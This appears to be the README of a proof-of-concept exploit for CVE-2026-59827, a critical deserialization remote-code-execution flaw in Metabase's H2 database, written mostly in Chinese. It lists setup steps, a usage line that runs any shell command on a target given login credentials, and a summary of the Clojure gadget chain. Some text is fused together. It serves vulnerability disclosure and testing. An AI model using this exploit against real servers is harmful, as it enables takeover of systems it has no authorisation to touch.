
Technical analysis and proof of concept for CVE-2026-59827, a critical unsafe Java deserialization vulnerability in Metabase leading to remote code execution.
严重性: 严重(CVSS 9.9)
CVE: CVE-2026-59827
安全公告: GHSA-w95f-x9v9-wv36
报告者: Matheus Gutierre (@Gutierre0x80)
发布时间: 2026年6月30日
通过利用 SELECT CAST(X'...' AS OTHER) 查询返回的 Java 对象的不安全反序列化,有权访问 H2 数据库上原生 SQL 查询的已认证用户可以在 Metabase 服务器上执行任意 Java 代码。
默认的 Metabase 安装包含一个 H2 示例数据库,这使得该漏洞可在所有默认部署中被利用。
pip install requestsexploit.py 位于同一目录:确保所有前提条件都已安装并在 PATH 中可用:
# Install Python requests library
pip install requests
# Verify Java is available (OpenJDK 11+)
java -version
# Verify Python 3.7+
python3 --version
然后从 poc/ 目录运行漏洞利用程序:
cd poc/
python3 exploit.py <target_url> <username> <password> <command>
在执行之前,脚本会验证 clojure-1.12.3.jar 和 VarChainPayload.class 是否存在于工作目录中。
python3 exploit.py <target_url> <username> <password> <command>
python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id > /tmp/pwned.txt"
该命令将在 Metabase 进程的上下文中执行(通常是 Docker 中的 metabase 用户)。
H2 的 OTHER 列类型使用不带 JEP-290 过滤的裸 ObjectInputStream 对 Java 对象进行反序列化,从而允许任意类实例化。
该 payload 使用基于 Clojure 可序列化类(clojure.core$apply、clojure.lang.Var$Serialized 和 PersistentList)并结合 Java 的 PriorityQueue 的 gadget chain,通过 clojure.core/eval 触发代码执行。
完整的技术分析请参阅 writeup/analysis.md。
| 参数 | 描述 | 示例 |
|---|
target_url | Metabase 实例 URL | http://127.0.0.1:3000 |
username | 已认证用户(管理员或具有原生查询访问权限的用户) | [email protected] |
password | 用户密码 | SecurePassword123! |
command | 要执行的 Shell 命令 | id 或 whoami |